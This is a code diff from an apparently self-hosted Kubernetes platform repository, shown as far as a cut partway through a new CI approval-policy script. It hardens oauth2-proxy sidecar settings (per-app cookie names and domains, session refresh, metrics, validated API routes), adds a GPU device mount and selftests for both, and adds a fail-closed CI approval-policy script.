+    # have, is GONE. Anything Kubernetes puts in supplementalGroups reaches s6-svscan and is
+    # then discarded before the app ever starts. MOUNTING THE DEVICE IS SUFFICIENT; the
+    # group handling is the image's job and it does it correctly. A supplementalGroups entry
+    # here would be inert AND would mislead whoever debugs this next.
+    hw_gpu = (s.get("hardware") or {}).get("gpu")
+    if hw_gpu == "intel-quicksync":
+        volume_mounts.append({"name": DRI_VOLUME_NAME, "mountPath": DRI_DEVICE_DIR})
+        volumes.append(
+            {
+                "name": DRI_VOLUME_NAME,
+                "hostPath": {"path": DRI_DEVICE_DIR, "type": "DirectoryOrCreate"},
+            }
+        )
+
     if volume_mounts:
         container["volumeMounts"] = volume_mounts
 
@@ -971,7 +1095,16 @@ def _oauth2_sidecar_container(s: dict) -> dict:
     auth.group (R-IDP-06: a valid session is not enough — the user must be in an authorized group,
     else /oauth2 returns 403). client-id/secret + cookie-secret come by name from the SOPS-encrypted
     `<app>-oauth2-proxy` Secret (R-IDP-04). Single provider => --skip-provider-button 302s straight
-    to Keycloak. The sidecar->app hop is pod-local (127.0.0.1) and not subject to network policy."""
+    to Keycloak. The sidecar->app hop is pod-local (127.0.0.1) and not subject to network policy.
+
+    --cookie-name and --cookie-domain are DERIVED per app (see the block comment on those two
+    args): every instance holds a different cookie-secret, so sharing one cookie name across the
+    zone makes the instances evict each other's sessions.
+
+    --api-route is DECLARED per app, from auth.apiRoutes, and is the one flag here that is
+    neither a constant nor derivable: it names the paths THIS app serves as a machine API, and
+    those differ per app (radarr `/signalr/`, jackett `/api/`, pihole none). An app that declares
+    none renders no --api-route at all."""
     route = s["ingressRoutes"][0]
     host = route["host"]
     upstream_port = route["port"]
@@ -991,11 +1124,85 @@ def _oauth2_sidecar_container(s: dict) -> dict:
     args += [
         "--skip-provider-button=true",
         f"--redirect-url=https://{host}/oauth2/callback",
-        f"--cookie-domain=.{ZONE}",
+    ]
+    # ── API ROUTES: 401 instead of 302, ON THIS APP'S OWN PATHS ONLY ───────────────────────
+    # One flag per declared route, in declared order. An app that declares NONE renders NO
+    # --api-route, which is the correct and common case — see OAUTH2_API_ROUTE_PATTERN above for
+    # the measurements, for why this cannot be a renderer constant, and for the breadth ratchet.
+    # Validated here as well as in the schema so a breadth mistake is caught by render-golden
+    # even on a run where the schema stage did not execute.
+    for route in s["auth"].get("apiRoutes", []):
+        if not OAUTH2_API_ROUTE_PATTERN.match(str(route)):
+            raise SystemExit(
+                f"render.py: {s['name']}: auth.apiRoutes entry {route!r} is not an anchored path "
+                f"regex. Each entry must start with '^/' and continue with literal path "
+                f"characters (e.g. '^/api/', '^/signalr/', '^/api/v3/.*'). Rejected shapes: '^/' "
+                f"and '^/.*' (match every page load), an unanchored '/api/' (matches mid-path), "
+                f"and alternation (the flag is repeatable — declare one entry per route). A "
+                f"too-broad --api-route answers a PAGE LOAD with 401, so a logged-out operator "
+                f"sees a bare error page and is never offered a sign-in: the service looks "
+                f"permanently broken rather than merely unauthenticated."
+            )
+        args.append(f"--api-route={route}")
+    args += [
+        # ── COOKIE ISOLATION (fleet fix 2026-09-30; crafty's 2026-09-29 fix, generalized) ──────
+        # EVERY oauth2-proxy on this platform — this sidecar, its four siblings, and the SHARED
+        # forward-auth proxy (platform/oauth2-proxy) — is an INDEPENDENT instance holding its OWN
+        # `cookie-secret`. Measured on prod 2026-09-30: seven `*-oauth2-proxy` Secrets, seven
+        # DISTINCT cookie-secret values, so no instance can decrypt any other's cookie.
+        #
+        # Left at oauth2-proxy's DEFAULTS (`_oauth2_proxy` / `_oauth2_proxy_csrf`) and scoped to
+        # `.${BASE_DOMAIN}`, the browser therefore keeps ONE cookie pair for ALL of them:
+        # whichever proxy authenticates last OVERWRITES every other's session. The loser logs
+        # "No valid authentication in request" and bounces to Keycloak, which — the SSO session
+        # still being live — redirects straight back and overwrites the cookie again. The
+        # user-visible symptom is "I signed into Keycloak but I'm still not signed in", and it
+        # sends you hunting in Keycloak, where nothing is wrong. Silent, intermittent, and
+        # misattributed: the exact shape this repo keeps getting burned by.
+        #
+        # WHY IT WAS *INTERMITTENT*, AND WHY RELOADING NEVER HELPED. The loser does not merely
+        # fail to read the cookie — it calls ClearSession, which EXPIRES the cookie on its own
+        # --cookie-domain, i.e. the whole zone. And the *arr UIs poll: measured on prod, radarr's
+        # rejections are `/api/v3/command`, `/api/v3/queue/details` and `/signalr/negotiate`,
+        # 155 of them in 12h against 1 successful auth. Every poll carrying a cookie radarr
+        # cannot decrypt calls ClearSession again — so A LEFT-OPEN RADARR TAB DELETES JACKETT'S
+        # COOKIE EVERY FEW SECONDS, from another namespace, with no user action at all. That is
+        # the intermittency, and it is why signing in again fixed nothing for longer than the
+        # gap between two polls. Host-scoping the cookie (below) is what contains the blast
+        # radius of a ClearSession to the app that issued it.
+        #
+        # DERIVED, NOT LISTED. Both flags come from the ServiceDefinition (`s['name']` and the
+        # route host), so a NEW forward-auth app is isolated the moment it is onboarded. A
+        # per-service table would leave the next app defaulting into the collision, which is how
+        # twelve ServiceMonitors acquired one identical wrong port name in a single edit.
+        # conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct asserts both properties
+        # over the WHOLE tree and asserts THIS function derives rather than lists.
+        #
+        #   --cookie-name   a unique name per instance, so two sessions cannot alias at all.
+        #                   This is the fix; the one below is defence in depth.
+        #   --cookie-domain HOST-scoped. A per-app reverse proxy has no reason to broadcast its
+        #                   session cookie to every other host in the zone — a zone-wide cookie
+        #                   is transmitted to every sibling app on `.${BASE_DOMAIN}`, so any
+        #                   FUTURE name collision would again be platform-wide instead of
+        #                   contained. The SHARED forward-auth proxy keeps the wide scope,
+        #                   because cross-host forward-auth is precisely its job.
+        #
+        # --whitelist-domain deliberately stays ZONE-WIDE: it governs permitted post-login
+        # REDIRECT targets, not cookie scope. Narrowing it here would break the sign-in bounce.
+        f"--cookie-name=_oauth2_proxy_{s['name']}",
+        f"--cookie-domain={host}",
         f"--whitelist-domain=.{ZONE}",
         "--cookie-secure=true",
+        # Spend the refresh token the proxy already holds, at half the 300s access-token
+        # lifetime. Without this the session dies 5 minutes after sign-in. See
+        # OAUTH2_ACCESS_TOKEN_LIFETIME_S above for the measurement and the
+        # --session-cookie-minimal incompatibility.
+        f"--cookie-refresh={OAUTH2_COOKIE_REFRESH}",
         "--pass-access-token=true",
         "--set-xauthrequest=true",
+        # Start the /metrics listener. Prerequisite only — not yet reachable by Prometheus;
+        # see OAUTH2_PROXY_METRICS_PORT above for exactly what is still missing.
+        f"--metrics-address=0.0.0.0:{OAUTH2_PROXY_METRICS_PORT}",
     ]
     secret = f"{s['name']}-oauth2-proxy"
     return {
@@ -1017,7 +1224,10 @@ def _oauth2_sidecar_container(s: dict) -> dict:
                 "valueFrom": {"secretKeyRef": {"name": secret, "key": "cookie-secret"}},
             },
         ],
-        "ports": [{"name": "http", "containerPort": OAUTH2_PROXY_PORT, "protocol": "TCP"}],
+        "ports": [
+            {"name": "http", "containerPort": OAUTH2_PROXY_PORT, "protocol": "TCP"},
+            {"name": "metrics", "containerPort": OAUTH2_PROXY_METRICS_PORT, "protocol": "TCP"},
+        ],
         "resources": {
             "requests": {"cpu": "25m", "memory": "64Mi"},
             "limits": {"memory": "128Mi"},
@@ -2440,6 +2650,83 @@ def _selftest() -> int:
         "an SD without podSecurityContext must not gain a pod securityContext",
     )
 
+    # 6b) hardware.gpu: intel-quicksync -> a /dev/dri hostPath volume and a read-write mount
+    #     on the app container, and NOTHING ELSE. The SD declares the CAPABILITY; these
+    #     assertions pin the MECHANISM that currently satisfies it -- including what it
+    #     deliberately does NOT emit -- so a change to it is a deliberate, visible edit.
+    hw_docs = render(
+        {
+            "name": "hw",
+            "source": {"image": "a:1"},
+            "hardware": {"gpu": "intel-quicksync"},
+        }
+    )
+    hw_pod = next(
+        d[1] for d in hw_docs if d[1]["kind"] == "Deployment"
+    )["spec"]["template"]["spec"]
+    check(
+        {
+            "name": "dri",
+            "hostPath": {"path": "/dev/dri", "type": "DirectoryOrCreate"},
+        }
+        in hw_pod.get("volumes", []),
+        "hardware.gpu=intel-quicksync must render a /dev/dri hostPath volume "
+        "with type DirectoryOrCreate (a GPU-less node must degrade, not fail the mount)",
+    )
+    hw_mounts = hw_pod["containers"][0].get("volumeMounts", [])
+    check(
+        {"name": "dri", "mountPath": "/dev/dri"} in hw_mounts,
+        "hardware.gpu=intel-quicksync must mount /dev/dri READ-WRITE on the app container",
+    )
+    # The device mount is the WHOLE feature: no pod securityContext is invented. The image's
+    # own cont-init hook adds the app user to the device's group inside the container, and
+    # s6-setuidgid discards any Kubernetes-supplied supplementalGroups anyway (see the
+    # emission site). Asserting the absence is what stops someone adding an inert one back.
+    check(
+        "securityContext" not in hw_pod,
+        "hardware.gpu must NOT invent a pod securityContext (supplementalGroups is inert "
+        "under s6-setuidgid; the image's cont-init hook handles the device group)",
+    )
+    # Nothing privileged, and no node pinning: Kyverno restrict-host-namespaces (Enforce)
+    # rejects `privileged: true` in an app namespace, and placement is a separate concern
+    # with its own justification -- this field is about the DEVICE only.
+    check(
+        "privileged" not in hw_pod.get("securityContext", {})
+        and "securityContext" not in hw_pod["containers"][0]
+        and "nodeSelector" not in hw_pod,
+        "hardware.gpu must emit no privileged securityContext and no nodeSelector",
+    )
+    # The regression that matters: absence renders NOTHING. Mirrors the podSecurityContext
+    # negative above -- an SD that does not opt in must be byte-identical to before.
+    nohw_pod = next(
+        d[1] for d in render({"name": "nohw", "source": {"image": "a:1"}})
+        if d[1]["kind"] == "Deployment"
+    )["spec"]["template"]["spec"]
+    check(
+        "volumes" not in nohw_pod
+        and "volumeMounts" not in nohw_pod["containers"][0]
+        and "securityContext" not in nohw_pod,
+        "an SD without `hardware` must gain no dri volume, no mount and no securityContext",
+    )
+    # An SD that declares BOTH keeps its own podSecurityContext exactly as written -- the
+    # hardware field neither adds to it nor rewrites it.
+    hwm_pod = next(
+        d[1]
+        for d in render(
+            {
+                "name": "hwm",
+                "source": {"image": "a:1"},
+                "hardware": {"gpu": "intel-quicksync"},
+                "podSecurityContext": {"fsGroup": 1001, "supplementalGroups": [44]},
+            }
+        )
+        if d[1]["kind"] == "Deployment"
+    )["spec"]["template"]["spec"]
+    check(
+        hwm_pod["securityContext"] == {"fsGroup": 1001, "supplementalGroups": [44]},
+        "hardware.gpu must leave the SD's own podSecurityContext untouched",
+    )
+
     # 6c) forward-auth (Option B): an exposed forward-auth app gets an oauth2-proxy sidecar that
     #     fronts the Gateway path (fail-closed), while oidc/native/none apps are unchanged.
     fa_docs = render(
@@ -2450,15 +2737,27 @@ def _selftest() -> int:
             "auth": {"mode": "forward-auth", "groups": ["media-users"]},
         }
     )
-    fa_dep = next(d[1] for d in fa_docs if d[1]["kind"] == "Deployment")
-    fa_containers = fa_dep["spec"]["template"]["spec"]["containers"]
+    fa_dep = next((d[1] for d in fa_docs if d[1]["kind"] == "Deployment"), None)
+    check(fa_dep is not None,
+          "a forward-auth app rendered NO Deployment, so there is no pod to gate at all")
+    fa_containers = (((fa_dep or {}).get("spec") or {}).get("template") or {}) \
+        .get("spec", {}).get("containers") or []
     check(
         len(fa_containers) == 2
         and fa_containers[0]["name"] == "fa"
         and fa_containers[1]["name"] == "oauth2-proxy",
-        "forward-auth app must render the app container FIRST + an oauth2-proxy sidecar SECOND",
+        f"forward-auth app must render the app container FIRST + an oauth2-proxy sidecar SECOND; "
+        f"rendered {[c.get('name') for c in fa_containers]!r}",
     )
-    side = fa_containers[1]
+    # EVERY assertion below reads `side`, so an absent sidecar must NOT be allowed to raise here.
+    # The whole point of the None-tolerant lookups in this block is that a missing sidecar (or a
+    # missing flag on it) reports as NAMED ASSERTIONS rather than as a traceback: an exception
+    # escaping _selftest() exits non-zero with the right verdict and ZERO diagnostics, and it
+    # hides every other assertion the same mutation broke. Measured by Desmond Oyelaran while
+    # wiring this selftest into the render-golden stage: deleting the --cookie-name emission gave
+    # rc 1 via an uncaught StopIteration and printed not one `SELFTEST FAIL:` line. Provoked
+    # again here with the sidecar removed entirely, which raised IndexError at this line.
+    side = fa_containers[1] if len(fa_containers) > 1 else {"args": [], "env": [], "ports": []}
     check(
         "--upstream=http://127.0.0.1:9117" in side["args"],
         "sidecar upstream must be the co-located app UI over http on 127.0.0.1:<uiport>",
@@ -2475,12 +2774,212 @@ def _selftest() -> int:
         not any(a.startswith("--ssl-upstream-insecure-skip-verify") for a in side["args"]),
         "http upstream must NOT skip TLS verify (that flag is only for crafty's self-signed https)",
     )
+    # COOKIE ISOLATION. Every oauth2-proxy instance holds its own cookie-secret, so two instances
+    # sharing a cookie NAME on a shared DOMAIN evict each other's sessions silently. Both flags
+    # must be DERIVED from this service, not defaulted and not listed.
     check(
-        side["env"][0]["valueFrom"]["secretKeyRef"]["name"] == "fa-oauth2-proxy",
+        "--cookie-name=_oauth2_proxy_fa" in side["args"],
+        "sidecar must declare a cookie name DERIVED from the service name — the oauth2-proxy "
+        "default (_oauth2_proxy) is shared with every other instance on the zone",
+    )
+    check(
+        "--cookie-domain=fa.home.keithjackson.dev" in side["args"],
+        "sidecar cookie-domain must be HOST-scoped (the app's own host), not zone-wide",
+    )
+    check(
+        f"--whitelist-domain=.{ZONE}" in side["args"],
+        "whitelist-domain must stay ZONE-wide — it governs post-login redirect targets, not "
+        "cookie scope; narrowing it breaks the sign-in bounce",
+    )
+    # SESSION LIFETIME. `--cookie-refresh` must be present AND strictly shorter than the
+    # measured 300s access-token lifetime, or the session dies mid-use. Asserted as a parsed
+    # duration rather than a string match, so "2m30s" -> "150s" -> "2.5m" stays green and a
+    # silent widening past the token lifetime does not.
+    refresh = next((a.split("=", 1)[1] for a in side["args"]
+                    if a.startswith("--cookie-refresh=")), None)
+    check(refresh is not None,
+          "sidecar must set --cookie-refresh; the v7.8.1 default is 0 = DISABLED, so the "
+          "session dies when the access token expires and the user is bounced to Keycloak")
+    if refresh is not None:
+        _m = re.fullmatch(r"(?:(\d+)m)?(?:(\d+(?:\.\d+)?)s)?", refresh)
+        _secs = (int(_m.group(1) or 0) * 60 + float(_m.group(2) or 0)) if _m else -1
+        check(0 < _secs < OAUTH2_ACCESS_TOKEN_LIFETIME_S,
+              f"--cookie-refresh={refresh} parses to {_secs}s, which is not inside "
+              f"(0, {OAUTH2_ACCESS_TOKEN_LIFETIME_S}s). A refresh at or past the access-token "
+              f"lifetime never renews in time, which is the same logout it was added to stop")
+    check(
+        not any(a.startswith("--session-cookie-minimal") for a in side["args"]),
+        "--session-cookie-minimal is MUTUALLY EXCLUSIVE with --cookie-refresh "
+        "('cookie_refresh > 0 requires oauth tokens in sessions') — the proxy refuses to start",
+    )
+    # METRICS. The listener does not exist unless the flag is given, and the port must be
+    # DECLARED or nothing can ever select it (neither a Service port nor a PodMonitor).
+    check(
+        f"--metrics-address=0.0.0.0:{OAUTH2_PROXY_METRICS_PORT}" in side["args"],
+        "sidecar must start the /metrics listener; without --metrics-address it is not merely "
+        "unscraped, it is not serving at all",
+    )
+    check(
+        [p["name"] for p in side["ports"]] == ["http", "metrics"]
+        and {p["containerPort"] for p in side["ports"]}
+        == {OAUTH2_PROXY_PORT, OAUTH2_PROXY_METRICS_PORT},
+        "sidecar must declare BOTH the http and metrics container ports — an undeclared port "
+        "cannot be named by a Service port or a PodMonitor, so the flag alone is inert",
+    )
+    # API ROUTES (schema 1.9.0). Three properties, and the FIRST is the one that keeps the field
+    # honest: an app that declares nothing must render NO --api-route. `fa` above declares none.
+    check(
+        not any(a.startswith("--api-route") for a in side["args"]),
+        "a forward-auth app that declares no auth.apiRoutes must render NO --api-route. A "
+        "default or a renderer constant would answer PiHole's page loads with 401 — PiHole "
+        "serves no /api/ at all — so the service would look permanently broken to a "
+        "logged-out operator instead of signing them in",
+    )
+    # Same `next(..., None)` discipline as _cookie_name() below, for the same reason: if the
+    # sidecar stops being rendered at all, this must report as a named assertion rather than as a
+    # StopIteration that swallows every other SELFTEST FAIL line in the run.
+    _faapi_dep = next(
+        (
+            d[1]
+            for d in render(
+                {
+                    "name": "faapi",
+                    "source": {"image": "a:1"},
+                    "ingressRoutes": [{"host": "faapi.home.keithjackson.dev", "port": 9119}],
+                    "auth": {
+                        "mode": "forward-auth",
+                        "groups": ["media-users"],
+                        "apiRoutes": ["^/api/", "^/signalr/"],
+                    },
+                }
+            )
+            if d[1]["kind"] == "Deployment"
+        ),
+        None,
+    )
+    fa_api_side = next(
+        (
+            c
+            for c in ((_faapi_dep or {}).get("spec", {}).get("template", {})
+                      .get("spec", {}).get("containers") or [])
+            if c.get("name") == "oauth2-proxy"
+        ),
+        None,
+    )
+    check(
+        fa_api_side is not None,
+        "a forward-auth app declaring auth.apiRoutes rendered NO oauth2-proxy sidecar, so the "
+        "routes have nowhere to land and the app is not gated at all (R-IDP-02)",
+    )
+    check(
+        fa_api_side is not None
+        and [a for a in fa_api_side["args"] if a.startswith("--api-route")]
+        == ["--api-route=^/api/", "--api-route=^/signalr/"],
+        "a declared auth.apiRoutes must render as one repeatable --api-route per entry, in "
+        "declared order, and NOTHING else. Note the flag is SINGULAR: --api-routes does not "
+        "exist in v7.8.1 and the proxy refuses to start with it",
+    )
+    # BREADTH. The renderer must REFUSE a regex that would match a page load, not merely
+    # discourage one, because the schema stage can be skipped and render-golden cannot.
+    for _bad in ("^/", "^/.*", ".*", "/api/", "^/api/|^/"):
+        try:
+            render(
+                {
+                    "name": "fabad",
+                    "source": {"image": "a:1"},
+                    "ingressRoutes": [{"host": "fabad.home.keithjackson.dev", "port": 9120}],
+                    "auth": {
+                        "mode": "forward-auth",
+                        "groups": ["media-users"],
+                        "apiRoutes": [_bad],
+                    },
+                }
+            )
+            _refused = False
+        except SystemExit:
+            _refused = True
+        check(
+            _refused,
+            f"the renderer ACCEPTED auth.apiRoutes entry {_bad!r}. A too-broad --api-route "
+            f"answers a plain page load with 401, so a logged-out operator sees a bare error "
+            f"page and is never offered a sign-in — the service looks permanently broken "
+            f"rather than merely unauthenticated, which is a worse failure than the 302 bug "
+            f"this flag exists to fix",
+        )
+    for _good in ("^/api/", "^/signalr/", "^/api/v3/.*", "^/api/v2.0/server/update$"):
+        check(
+            bool(OAUTH2_API_ROUTE_PATTERN.match(_good)),
+            f"the breadth ratchet rejected the legitimate route {_good!r}. A ratchet that "
+            f"blocks real API prefixes is a ratchet someone eventually deletes",
+        )
+
+    # Two forward-auth apps must not be able to collide. Renders a SECOND one and compares, so a
+    # future refactor to a constant (or to a per-service table with a copy-paste slip) fails here
+    # rather than silently in a browser six weeks later.
+    # Same None-tolerant shape as the `faapi` fixture above and for the same reason: a missing
+    # sidecar must surface as a named assertion, never as a traceback that suppresses the
+    # collected SELFTEST FAIL lines.
+    _fa2_dep = next(
+        (
+            d[1]
+            for d in render(
+                {
+                    "name": "fa2",
+                    "source": {"image": "a:1"},
+                    "ingressRoutes": [{"host": "fa2.home.keithjackson.dev", "port": 9118}],
+                    "auth": {"mode": "forward-auth", "groups": ["media-users"]},
+                }
+            )
+            if d[1]["kind"] == "Deployment"
+        ),
+        None,
+    )
+    fa2_side = next(
+        (
+            c
+            for c in ((_fa2_dep or {}).get("spec", {}).get("template", {})
+                      .get("spec", {}).get("containers") or [])
+            if c.get("name") == "oauth2-proxy"
+        ),
+        {"args": []},
+    )
+
+    # `next(..., None)` — the DEFAULT IS LOAD-BEARING, not defensive style. With a bare
+    # `next(genexpr)` this raises StopIteration the moment a sidecar renders no --cookie-name,
+    # which is precisely the mutation this assertion exists to catch. The traceback then escapes
+    # _selftest() before its collected `SELFTEST FAIL:` lines are printed, so the run exits
+    # non-zero with the RIGHT VERDICT AND NO DIAGNOSTICS — and it masks every other assertion the
+    # same mutation broke. Measured by Desmond Oyelaran while wiring the selftest into the
+    # render-golden stage: deleting the --cookie-name emission gave rc 1 via an uncaught
+    # StopIteration and suppressed all of the messages. A missing flag must report AS AN
+    # ASSERTION, with its name in the output, which is what the None + explicit check below do.
+    def _cookie_name(container):
+        return next((a for a in container["args"] if a.startswith("--cookie-name=")), None)
+
+    _fa_cn, _fa2_cn = _cookie_name(side), _cookie_name(fa2_side)
+    check(
+        _fa_cn is not None and _fa2_cn is not None,
+        f"a forward-auth sidecar rendered NO --cookie-name at all (fa={_fa_cn!r}, "
+        f"fa2={_fa2_cn!r}). Omitting the flag is not neutral: oauth2-proxy then claims its "
+        f"built-in default `_oauth2_proxy`, which every other instance on the platform also "
+        f"claims, so they overwrite and ClearSession-delete each other's sessions",
+    )
+    check(
+        _fa_cn != _fa2_cn,
+        "two forward-auth apps rendered IDENTICAL cookie names — they would overwrite each "
+        "other's session on every sign-in (the 2026-09-29 crafty defect, fleet-wide)",
+    )
+    # Index-safe for the same reason as `side` above: an absent sidecar has no env, and an
+    # IndexError here would exit non-zero with no diagnostics at all.
+    _fa_env = (side.get("env") or [{}])[0]
+    check(
+        (((_fa_env.get("valueFrom") or {}).get("secretKeyRef") or {}).get("name")
+         == "fa-oauth2-proxy"),
         "sidecar creds must come by name from the per-app <app>-oauth2-proxy Secret (R-IDP-04)",
     )
-    fa_svc = next(d[1] for d in fa_docs if d[1]["kind"] == "Service")
-    fa_svc_ports = {p["port"] for p in fa_svc["spec"]["ports"]}
+    fa_svc = next((d[1] for d in fa_docs if d[1]["kind"] == "Service"), None)
+    check(fa_svc is not None, "a forward-auth app must render a Service for the Gateway to reach")
+    fa_svc_ports = {p["port"] for p in (((fa_svc or {}).get("spec") or {}).get("ports") or [])}
     check(
         fa_svc_ports == {9117, 4180},
         "forward-auth Service must expose the app port (east-west) AND :4180 (gateway->sidecar)",

catalog/sonarr.yaml

@@ -112,6 +112,14 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # NO `apiRoutes` HERE, AND NOT BECAUSE IT NEEDS NONE — because nothing measures that it does.
+  # Sonarr is nearly the same codebase as Radarr, which is exactly what makes `^/api/` +
+  # `^/signalr/` a tempting guess and still a guess. MEASURED 2026-10-01 on the live pod
+  # (sonarr-ddf485775-8ckwt, 0 restarts, 23h): its oauth2-proxy log contains 13,643 lines and
+  # ZERO unauthenticated requests — no /api/, no /signalr/, nothing but health probes. Nobody
+  # has opened this UI since the cookie fix rolled, so the measurement is empty rather than
+  # negative: it is evidence of no TRAFFIC, not evidence of no need. Add the routes when someone
+  # reproduces the 302-on-XHR here, with the numbers.
 update:
   channel: stable               # R-UPD-01
   range: ">=4.0.0 <5.0.0"       # stay on the Sonarr v4 stable line

ci/Makefile

@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
 
 .DEFAULT_GOAL := help
 
-.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
+.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
 
 help: ## Show this help
 	@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf "  \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
@@ -29,9 +29,15 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
 render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
 	@"$(CI_DIR)render-golden.sh"
 
+decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
+	@"$(CI_DIR)decisions-log.sh"
+
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
+	@./approval-policy.sh
+
 gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
 	@./gitea-settings.sh
 

ci/README.md

@@ -101,6 +101,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
 |---|---|---|
 | `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
 | `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
+| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
 | `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
 
 That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**

ci/approval-policy.sh

@@ -0,0 +1,117 @@
+#!/usr/bin/env bash
+# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
+# what the pipeline verifies or the security posture it rests on.
+#
+# THE POLICY, and why it is shaped this way.
+#
+# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
+# pipeline is not good enough to be trusted for this, then it is not good enough to do its
+# intended job and needs to be improved. Manual approvers should only be for architecturally or
+# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
+#
+# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
+# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
+# A PR that weakens a check would be approved by the weakened check. The same applies to the
+# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
+# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
+# requires a human for them.
+#
+# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
+# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
+# policy cannot be widened without a human.
+#
+# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
+# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
+# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
+# BYPASS, not a gap. So: cannot determine -> BLOCK.
+#
+# EXIT CODES
+#   0  no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and a
+#      non-author APPROVED review is present
+#   1  sensitive paths touched without such a review, OR the policy could not be evaluated
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: approval policy (CI approves; humans approve changes to CI)"
+
+DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
+[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
+require_tool jq
+require_tool python3
+
+# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
+# by branch protection, so this is genuinely not-applicable rather than a skipped check.
+EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
+PR="${PR_NUMBER:-}"
+if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
+  ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
+  exit 0
+fi
+
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+if [ -z "$TOKEN" ]; then
+  err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
+  err "  BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
+  summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
+  exit 1
+fi
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
+PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
+REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
+for v in FILES_JSON PR_JSON REVIEWS_JSON; do
+  jq -e . >/dev/null 2>&1 <<<"${!v}" || {
+    err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
+    summary "- approval-policy: **BLOCKED — Gitea unreadable**"
+    exit 1; }
+done
+
+AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
